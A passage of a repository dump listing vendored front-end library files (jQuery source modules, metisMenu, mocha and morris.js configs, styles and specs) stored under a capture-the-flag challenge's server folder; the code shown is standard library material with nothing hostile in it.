16 | if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) {
17 | window.console.warn( "jQuery.Deferred exception: " + error.message, error.stack, stack );
18 | }
19 | };
20 |
21 | } );
22 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/deprecated.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./core"
3 | ], function( jQuery ) {
4 |
5 | "use strict";
6 |
7 | jQuery.fn.extend( {
8 |
9 | bind: function( types, data, fn ) {
10 | return this.on( types, null, data, fn );
11 | },
12 | unbind: function( types, fn ) {
13 | return this.off( types, null, fn );
14 | },
15 |
16 | delegate: function( selector, types, data, fn ) {
17 | return this.on( types, selector, data, fn );
18 | },
19 | undelegate: function( selector, types, fn ) {
20 |
21 | // ( namespace ) or ( selector, types [, fn] )
22 | return arguments.length === 1 ?
23 | this.off( selector, "**" ) :
24 | this.off( types, selector || "**", fn );
25 | }
26 | } );
27 |
28 | jQuery.parseJSON = JSON.parse;
29 |
30 | } );
31 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/effects/animatedSelector.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core",
3 | "../selector",
4 | "../effects"
5 | ], function( jQuery ) {
6 |
7 | "use strict";
8 |
9 | jQuery.expr.pseudos.animated = function( elem ) {
10 | return jQuery.grep( jQuery.timers, function( fn ) {
11 | return elem === fn.elem;
12 | } ).length;
13 | };
14 |
15 | } );
16 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/event/ajax.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core",
3 | "../event"
4 | ], function( jQuery ) {
5 |
6 | "use strict";
7 |
8 | // Attach a bunch of functions for handling common AJAX events
9 | jQuery.each( [
10 | "ajaxStart",
11 | "ajaxStop",
12 | "ajaxComplete",
13 | "ajaxError",
14 | "ajaxSuccess",
15 | "ajaxSend"
16 | ], function( i, type ) {
17 | jQuery.fn[ type ] = function( fn ) {
18 | return this.on( type, fn );
19 | };
20 | } );
21 |
22 | } );
23 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/event/alias.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core",
3 |
4 | "../event",
5 | "./trigger"
6 | ], function( jQuery ) {
7 |
8 | "use strict";
9 |
10 | jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " +
11 | "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
12 | "change select submit keydown keypress keyup contextmenu" ).split( " " ),
13 | function( i, name ) {
14 |
15 | // Handle event binding
16 | jQuery.fn[ name ] = function( data, fn ) {
17 | return arguments.length > 0 ?
18 | this.on( name, null, data, fn ) :
19 | this.trigger( name );
20 | };
21 | } );
22 |
23 | jQuery.fn.extend( {
24 | hover: function( fnOver, fnOut ) {
25 | return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
26 | }
27 | } );
28 |
29 | } );
30 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/event/support.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../var/support"
3 | ], function( support ) {
4 |
5 | "use strict";
6 |
7 | support.focusin = "onfocusin" in window;
8 |
9 | return support;
10 |
11 | } );
12 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/exports/global.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core"
3 | ], function( jQuery, noGlobal ) {
4 |
5 | "use strict";
6 |
7 | var
8 |
9 | // Map over jQuery in case of overwrite
10 | _jQuery = window.jQuery,
11 |
12 | // Map over the $ in case of overwrite
13 | _$ = window.$;
14 |
15 | jQuery.noConflict = function( deep ) {
16 | if ( window.$ === jQuery ) {
17 | window.$ = _$;
18 | }
19 |
20 | if ( deep && window.jQuery === jQuery ) {
21 | window.jQuery = _jQuery;
22 | }
23 |
24 | return jQuery;
25 | };
26 |
27 | // Expose jQuery and $ identifiers, even in AMD
28 | // (#7102#comment:10, https://github.com/jquery/jquery/pull/557)
29 | // and CommonJS for browser emulators (#13566)
30 | if ( !noGlobal ) {
31 | window.jQuery = window.$ = jQuery;
32 | }
33 |
34 | } );
35 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/jquery.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./core",
3 | "./selector",
4 | "./traversing",
5 | "./callbacks",
6 | "./deferred",
7 | "./deferred/exceptionHook",
8 | "./core/ready",
9 | "./data",
10 | "./queue",
11 | "./queue/delay",
12 | "./attributes",
13 | "./event",
14 | "./event/alias",
15 | "./event/focusin",
16 | "./manipulation",
17 | "./manipulation/_evalUrl",
18 | "./wrap",
19 | "./css",
20 | "./css/hiddenVisibleSelectors",
21 | "./serialize",
22 | "./ajax",
23 | "./ajax/xhr",
24 | "./ajax/script",
25 | "./ajax/jsonp",
26 | "./ajax/load",
27 | "./event/ajax",
28 | "./effects",
29 | "./effects/animatedSelector",
30 | "./offset",
31 | "./dimensions",
32 | "./deprecated",
33 | "./exports/amd",
34 | "./exports/global"
35 | ], function( jQuery ) {
36 |
37 | "use strict";
38 |
39 | return jQuery;
40 |
41 | } );
42 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/_evalUrl.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../ajax"
3 | ], function( jQuery ) {
4 |
5 | "use strict";
6 |
7 | jQuery._evalUrl = function( url ) {
8 | return jQuery.ajax( {
9 | url: url,
10 |
11 | // Make this explicit, since user can override this through ajaxSetup (#11264)
12 | type: "GET",
13 | dataType: "script",
14 | cache: true,
15 | async: false,
16 | global: false,
17 | "throws": true
18 | } );
19 | };
20 |
21 | return jQuery._evalUrl;
22 |
23 | } );
24 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/getAll.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core"
3 | ], function( jQuery ) {
4 |
5 | "use strict";
6 |
7 | function getAll( context, tag ) {
8 |
9 | // Support: IE <=9 - 11 only
10 | // Use typeof to avoid zero-argument method invocation on host objects (#15151)
11 | var ret;
12 |
13 | if ( typeof context.getElementsByTagName !== "undefined" ) {
14 | ret = context.getElementsByTagName( tag || "*" );
15 |
16 | } else if ( typeof context.querySelectorAll !== "undefined" ) {
17 | ret = context.querySelectorAll( tag || "*" );
18 |
19 | } else {
20 | ret = [];
21 | }
22 |
23 | if ( tag === undefined || tag && jQuery.nodeName( context, tag ) ) {
24 | return jQuery.merge( [ context ], ret );
25 | }
26 |
27 | return ret;
28 | }
29 |
30 | return getAll;
31 | } );
32 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/setGlobalEval.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../data/var/dataPriv"
3 | ], function( dataPriv ) {
4 |
5 | "use strict";
6 |
7 | // Mark scripts as having already been evaluated
8 | function setGlobalEval( elems, refElements ) {
9 | var i = 0,
10 | l = elems.length;
11 |
12 | for ( ; i < l; i++ ) {
13 | dataPriv.set(
14 | elems[ i ],
15 | "globalEval",
16 | !refElements || dataPriv.get( refElements[ i ], "globalEval" )
17 | );
18 | }
19 | }
20 |
21 | return setGlobalEval;
22 | } );
23 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/var/rcheckableType.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return ( /^(?:checkbox|radio)$/i );
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/var/rscriptType.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return ( /^$|\/(?:java|ecma)script/i );
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/var/rtagName.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return ( /<([a-z][^\/\0>\x20\t\r\n\f]+)/i );
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/manipulation/wrapMap.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 |
3 | "use strict";
4 |
5 | // We have to close these tags to support XHTML (#13200)
6 | var wrapMap = {
7 |
8 | // Support: IE <=9 only
9 | option: [ 1, "" ],
10 |
11 | // XHTML parsers do not magically insert elements in the
12 | // same way that tag soup parsers do. So we cannot shorten
13 | // this by omitting or other required elements.
14 | thead: [ 1, "" ],
15 | col: [ 2, "" ],
16 | tr: [ 2, "" ],
17 | td: [ 3, "" ],
18 |
19 | _default: [ 0, "", "" ]
20 | };
21 |
22 | // Support: IE <=9 only
23 | wrapMap.optgroup = wrapMap.option;
24 |
25 | wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
26 | wrapMap.th = wrapMap.td;
27 |
28 | return wrapMap;
29 | } );
30 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/queue/delay.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core",
3 | "../queue",
4 | "../effects" // Delay is optional because of this dependency
5 | ], function( jQuery ) {
6 |
7 | "use strict";
8 |
9 | // Based off of the plugin by Clint Helfers, with permission.
10 | // https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
11 | jQuery.fn.delay = function( time, type ) {
12 | time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
13 | type = type || "fx";
14 |
15 | return this.queue( type, function( next, hooks ) {
16 | var timeout = window.setTimeout( next, time );
17 | hooks.stop = function() {
18 | window.clearTimeout( timeout );
19 | };
20 | } );
21 | };
22 |
23 | return jQuery.fn.delay;
24 | } );
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/selector-sizzle.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./core",
3 | "../external/sizzle/dist/sizzle"
4 | ], function( jQuery, Sizzle ) {
5 |
6 | "use strict";
7 |
8 | jQuery.find = Sizzle;
9 | jQuery.expr = Sizzle.selectors;
10 |
11 | // Deprecated
12 | jQuery.expr[ ":" ] = jQuery.expr.pseudos;
13 | jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;
14 | jQuery.text = Sizzle.getText;
15 | jQuery.isXMLDoc = Sizzle.isXML;
16 | jQuery.contains = Sizzle.contains;
17 | jQuery.escapeSelector = Sizzle.escape;
18 |
19 | } );
20 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/selector.js:
--------------------------------------------------------------------------------
1 | define( [ "./selector-sizzle" ], function() {
2 | "use strict";
3 | } );
4 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/traversing/var/dir.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../../core"
3 | ], function( jQuery ) {
4 |
5 | "use strict";
6 |
7 | return function( elem, dir, until ) {
8 | var matched = [],
9 | truncate = until !== undefined;
10 |
11 | while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {
12 | if ( elem.nodeType === 1 ) {
13 | if ( truncate && jQuery( elem ).is( until ) ) {
14 | break;
15 | }
16 | matched.push( elem );
17 | }
18 | }
19 | return matched;
20 | };
21 |
22 | } );
23 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/traversing/var/rneedsContext.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../../core",
3 | "../../selector"
4 | ], function( jQuery ) {
5 | "use strict";
6 |
7 | return jQuery.expr.match.needsContext;
8 | } );
9 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/traversing/var/siblings.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 |
3 | "use strict";
4 |
5 | return function( n, elem ) {
6 | var matched = [];
7 |
8 | for ( ; n; n = n.nextSibling ) {
9 | if ( n.nodeType === 1 && n !== elem ) {
10 | matched.push( n );
11 | }
12 | }
13 |
14 | return matched;
15 | };
16 |
17 | } );
18 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/ObjectFunctionString.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./fnToString"
3 | ], function( fnToString ) {
4 | "use strict";
5 |
6 | return fnToString.call( Object );
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/arr.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return [];
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/class2type.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | // [[Class]] -> type pairs
5 | return {};
6 | } );
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/concat.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./arr"
3 | ], function( arr ) {
4 | "use strict";
5 |
6 | return arr.concat;
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/document.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return window.document;
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/documentElement.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./document"
3 | ], function( document ) {
4 | "use strict";
5 |
6 | return document.documentElement;
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/fnToString.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./hasOwn"
3 | ], function( hasOwn ) {
4 | "use strict";
5 |
6 | return hasOwn.toString;
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/getProto.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return Object.getPrototypeOf;
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/hasOwn.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./class2type"
3 | ], function( class2type ) {
4 | "use strict";
5 |
6 | return class2type.hasOwnProperty;
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/indexOf.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./arr"
3 | ], function( arr ) {
4 | "use strict";
5 |
6 | return arr.indexOf;
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/pnum.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/push.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./arr"
3 | ], function( arr ) {
4 | "use strict";
5 |
6 | return arr.push;
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/rcssNum.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../var/pnum"
3 | ], function( pnum ) {
4 |
5 | "use strict";
6 |
7 | return new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );
8 |
9 | } );
10 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/rnothtmlwhite.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | // Only count HTML whitespace
5 | // Other whitespace should count in values
6 | // https://html.spec.whatwg.org/multipage/infrastructure.html#space-character
7 | return ( /[^\x20\t\r\n\f]+/g );
8 | } );
9 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/slice.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./arr"
3 | ], function( arr ) {
4 | "use strict";
5 |
6 | return arr.slice;
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/support.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | // All support tests are defined in their respective modules.
5 | return {};
6 | } );
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/var/toString.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./class2type"
3 | ], function( class2type ) {
4 | "use strict";
5 |
6 | return class2type.toString;
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/metisMenu/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "metisMenu",
3 | "version": "1.1.3",
4 | "homepage": "https://github.com/onokumus/metisMenu",
5 | "authors": [
6 | "onokumus "
7 | ],
8 | "description": "Easy menu jQuery plugin for Twitter Bootstrap 3",
9 | "main": [
10 | "dist/metisMenu.js",
11 | "dist/metisMenu.css"
12 | ],
13 | "keywords": [
14 | "twitter",
15 | "bootstrap",
16 | "twbs",
17 | "jquery",
18 | "menu",
19 | "accordion",
20 | "toggle",
21 | "metis",
22 | "metisMenu"
23 | ],
24 | "license": "MIT",
25 | "ignore": [
26 | "**/.*",
27 | "node_modules",
28 | "bower_components",
29 | "test",
30 | "tests"
31 | ],
32 | "dependencies": {
33 | "bootstrap": "~3.3.0"
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/metisMenu/dist/metisMenu.min.css:
--------------------------------------------------------------------------------
1 | /*
2 | * metismenu - v1.1.3
3 | * Easy menu jQuery plugin for Twitter Bootstrap 3
4 | * https://github.com/onokumus/metisMenu
5 | *
6 | * Made by Osman Nuri Okumus
7 | * Under MIT License
8 | */
9 |
10 | .arrow{float:right;line-height:1.42857}.glyphicon.arrow:before{content:"\e079"}.active>a>.glyphicon.arrow:before{content:"\e114"}.fa.arrow:before{content:"\f104"}.active>a>.fa.arrow:before{content:"\f107"}.plus-times{float:right}.fa.plus-times:before{content:"\f067"}.active>a>.fa.plus-times{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(45deg);-moz-transform:rotate(45deg);-ms-transform:rotate(45deg);-o-transform:rotate(45deg);transform:rotate(45deg)}.plus-minus{float:right}.fa.plus-minus:before{content:"\f067"}.active>a>.fa.plus-minus:before{content:"\f068"}
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/mocha/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "mocha",
3 | "version": "1.17.1",
4 | "main": "mocha.js",
5 | "ignore": [
6 | "bin",
7 | "editors",
8 | "images",
9 | "lib",
10 | "support",
11 | "test",
12 | ".gitignore",
13 | ".npmignore",
14 | ".travis.yml",
15 | "component.json",
16 | "index.js",
17 | "Makefile",
18 | "package.json"
19 | ],
20 | "homepage": "https://github.com/mochajs/mocha",
21 | "_release": "1.17.1",
22 | "_resolution": {
23 | "type": "version",
24 | "tag": "1.17.1",
25 | "commit": "7fc565ee3e225cb7a66bf39ae9c2c05b346675c1"
26 | },
27 | "_source": "https://github.com/mochajs/mocha.git",
28 | "_target": "~1.17.1",
29 | "_originalSource": "mocha"
30 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/mocha/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "mocha",
3 | "version": "1.17.1",
4 | "main": "mocha.js",
5 | "ignore": [
6 | "bin",
7 | "editors",
8 | "images",
9 | "lib",
10 | "support",
11 | "test",
12 | ".gitignore",
13 | ".npmignore",
14 | ".travis.yml",
15 | "component.json",
16 | "index.js",
17 | "Makefile",
18 | "package.json"
19 | ]
20 | }
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/mocha/media/logo.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
9 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "morris.js",
3 | "version": "0.5.1",
4 | "main": [
5 | "./morris.js",
6 | "./morris.css"
7 | ],
8 | "dependencies": {
9 | "jquery": ">= 2.1.0",
10 | "raphael": ">= 2.0",
11 | "mocha": "~1.17.1"
12 | },
13 | "devDependencies": {
14 | "mocha": "~1.17.1",
15 | "chai": "~1.9.0",
16 | "chai-jquery": "~1.2.1",
17 | "sinon": "http://sinonjs.org/releases/sinon-1.8.1.js",
18 | "sinon-chai": "~2.5.0"
19 | },
20 | "homepage": "https://github.com/morrisjs/morris.js",
21 | "_release": "0.5.1",
22 | "_resolution": {
23 | "type": "version",
24 | "tag": "0.5.1",
25 | "commit": "d5cf1410eda7055eaf2c7d218d4cb24ec5ed55c8"
26 | },
27 | "_source": "https://github.com/morrisjs/morris.js.git",
28 | "_target": "~0.5.1",
29 | "_originalSource": "morrisjs"
30 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/.gitignore:
--------------------------------------------------------------------------------
1 | build/
2 | node_modules/
3 | spec/viz/output/
4 | spec/viz/diff/
5 | bower_components
6 | .idea
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/.travis.yml:
--------------------------------------------------------------------------------
1 | language: node_js
2 | node_js:
3 | - 0.10
4 | before_script:
5 | - "npm install -g grunt-cli"
6 | - "npm install"
7 | - "cp -f bower.travis.json bower.json"
8 | - 'sed -i -e "s/JQUERY/$JQUERY/" bower.json'
9 | - 'sed -i -e "s/RAPHAEL/$RAPHAEL/" bower.json'
10 | - "bower install"
11 | env:
12 | - JQUERY="~> 1.8.0" RAPHAEL="~> 2.0.0"
13 | - JQUERY="~> 1.9.0" RAPHAEL="~> 2.0.0"
14 | - JQUERY="~> 2.0.0" RAPHAEL="~> 2.0.0"
15 | - JQUERY="~> 2.1.0" RAPHAEL="~> 2.0.0"
16 | - JQUERY="~> 1.8.0" RAPHAEL="~> 2.1.0"
17 | - JQUERY="~> 1.9.0" RAPHAEL="~> 2.1.0"
18 | - JQUERY="~> 2.0.0" RAPHAEL="~> 2.1.0"
19 | - JQUERY="~> 2.1.0" RAPHAEL="~> 2.1.0"
20 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "morris.js",
3 | "version": "0.5.0",
4 | "main": [
5 | "./morris.js",
6 | "./morris.css"
7 | ],
8 | "dependencies": {
9 | "jquery": ">= 2.1.0",
10 | "raphael": ">= 2.0",
11 | "mocha": "~1.17.1"
12 | },
13 | "devDependencies": {
14 | "mocha": "~1.17.1",
15 | "chai": "~1.9.0",
16 | "chai-jquery": "~1.2.1",
17 | "sinon": "http://sinonjs.org/releases/sinon-1.8.1.js",
18 | "sinon-chai": "~2.5.0"
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/bower.travis.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "morris.js",
3 | "version": "0.5.0",
4 | "main": [
5 | "./morris.js",
6 | "./morris.css"
7 | ],
8 | "dependencies": {
9 | "jquery": "JQUERY",
10 | "raphael": "RAPHAEL",
11 | "mocha": "~1.17.1"
12 | },
13 | "devDependencies": {
14 | "mocha": "~1.17.1",
15 | "chai": "~1.9.0",
16 | "chai-jquery": "~1.2.1",
17 | "sinon": "http://sinonjs.org/releases/sinon-1.8.1.js",
18 | "sinon-chai": "~2.5.0"
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/examples/_template.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | Title
13 |
14 |
15 | // Insert code here:
16 | // it'll get eval()-ed and prettyprinted.
17 |
18 |
19 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/examples/lib/example.css:
--------------------------------------------------------------------------------
1 | body {
2 | width: 800px;
3 | margin: 0 auto;
4 | }
5 | #graph {
6 | width: 800px;
7 | height: 250px;
8 | margin: 20px auto 0 auto;
9 | }
10 | pre {
11 | height: 250px;
12 | overflow: auto;
13 | }
14 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/examples/lib/example.js:
--------------------------------------------------------------------------------
1 | $(function () {
2 | eval($('#code').text());
3 | prettyPrint();
4 | });
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/less/morris.core.less:
--------------------------------------------------------------------------------
1 | .morris-hover {
2 | position: absolute;
3 | z-index: 1000;
4 |
5 | &.morris-default-style {
6 | border-radius: 10px;
7 | padding: 6px;
8 | color: #666;
9 | background: rgba(255, 255, 255, 0.8);
10 | border: solid 2px rgba(230, 230, 230, 0.8);
11 |
12 | font-family: sans-serif;
13 | font-size: 12px;
14 | text-align: center;
15 |
16 | .morris-hover-row-label {
17 | font-weight: bold;
18 | margin: 0.25em 0;
19 | }
20 |
21 | .morris-hover-point {
22 | white-space: nowrap;
23 | margin: 0.1em 0;
24 | }
25 | }
26 |
27 | }
28 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/morris.css:
--------------------------------------------------------------------------------
1 | .morris-hover{position:absolute;z-index:1000}.morris-hover.morris-default-style{border-radius:10px;padding:6px;color:#666;background:rgba(255,255,255,0.8);border:solid 2px rgba(230,230,230,0.8);font-family:sans-serif;font-size:12px;text-align:center}.morris-hover.morris-default-style .morris-hover-row-label{font-weight:bold;margin:0.25em 0}
2 | .morris-hover.morris-default-style .morris-hover-point{white-space:nowrap;margin:0.1em 0}
3 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/lib/grid/y_label_format_spec.coffee:
--------------------------------------------------------------------------------
1 | describe 'Morris.Grid#yLabelFormat', ->
2 |
3 | it 'should use custom formatter for y labels', ->
4 | formatter = (label) ->
5 | flabel = parseFloat(label) / 1000
6 | "#{flabel.toFixed(1)}k"
7 | line = Morris.Line
8 | element: 'graph'
9 | data: [{x: 1, y: 1500}, {x: 2, y: 2500}]
10 | xkey: 'x'
11 | ykeys: ['y']
12 | labels: ['dontcare']
13 | preUnits: "$"
14 | yLabelFormat: formatter
15 | line.yLabelFormat(1500).should.equal "1.5k"
16 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/lib/pad_spec.coffee:
--------------------------------------------------------------------------------
1 | describe '#pad', ->
2 |
3 | it 'should pad numbers', ->
4 | Morris.pad2(0).should.equal("00")
5 | Morris.pad2(1).should.equal("01")
6 | Morris.pad2(2).should.equal("02")
7 | Morris.pad2(3).should.equal("03")
8 | Morris.pad2(4).should.equal("04")
9 | Morris.pad2(5).should.equal("05")
10 | Morris.pad2(6).should.equal("06")
11 | Morris.pad2(7).should.equal("07")
12 | Morris.pad2(8).should.equal("08")
13 | Morris.pad2(9).should.equal("09")
14 | Morris.pad2(10).should.equal("10")
15 | Morris.pad2(12).should.equal("12")
16 | Morris.pad2(34).should.equal("34")
17 | Morris.pad2(123).should.equal("123")
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/support/placeholder.coffee:
--------------------------------------------------------------------------------
1 | beforeEach ->
2 | placeholder = $('')
3 | $('#test').append(placeholder)
4 |
5 | afterEach ->
6 | $('#test').empty()
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/area0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/area0.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/bar0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/bar0.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/line0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/line0.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/stacked_bar0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/exemplary/stacked_bar0.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/morrisjs/spec/viz/run.sh:
